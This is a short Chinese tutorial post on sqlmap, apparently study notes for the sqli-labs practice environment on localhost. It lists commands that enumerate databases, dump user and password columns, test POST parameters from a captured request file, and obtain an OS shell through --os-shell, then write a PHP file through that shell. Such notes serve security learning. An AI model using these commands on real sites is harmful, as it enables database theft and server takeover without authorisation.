Sqlmap的使用

发布时间 2023-08-05 13:57:40作者: na2co3-

1、get型提交

sqlmap.py -u +网址

sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1

参数level

level的等级越高,测试的等级越广,>=2时会检查cookie里的参数

>=3时检查user-agent和refereer

--dbs               查询所有的数据库

sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --dbs

-D “数据库名”  --tables         展示数据库中所有数据表

sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D"test" --tables

-D“数据库名”-T“表名” --columns     展示数据库所有字段

sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D"test" -T"test1" --columns

-D“数据库名”-T"数据表"-C“列名(多个列可以用逗号隔开)” --dump  查看数据库的内容

sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D"test" -T"test1" -C"user,pass" --dump

 2、post提交

抓包并将数据包全部内容存在一个txt中

-r表示加载一个文件,-p指定参数

sqlmap.py -r C:\Users\然而琪露诺早已看透了一切\Desktop\test1.txt -p uname --dbs

 接下来猜表(--tables)猜列(--columns)

指定参数*  测试这个字段

基本等同于-p+测试字段,但是存在局限性。

--current-db  当前网站使用的数据库

current和db中间没空格!!!

sqlmap.py -r C:\Users\然而琪露诺早已看透了一切\Desktop\test1.txt --current-db

(2)自动搜索表单

扫描用户表单提供的数据 --forms

局限:无法扫描到cookie和头部的数据

-data

sqlmap获取shell

获取shell的前提:

(1)网站数据库必须是root权限

(2)攻击者需要知道网站的绝对路径

(3)GPC为off,PHP主动转义的功能关闭

(4)secure_file_priv无限制

可以使用--is-dba命令查看是否为管理员

e.g.less-2

1、--users查出所有的用户

sqlmap.py -u http://127.0.0.1/sqli/Less-2/?id=1 --users

2、--os-shell --level=3获取shell的命令

sqlmap.py -u http://127.0.0.1/sqli/Less-2/?id=1 --os-shell --level=3

选择php

选择自定义位置

获取shell成功,可以写入一些命令

 echo "<?php  phpinfo();?>" >>test.php

(写入的语句和>>之间要有空格)

原理:sqlmap新增的tmpubpwk.php将写入的命令运行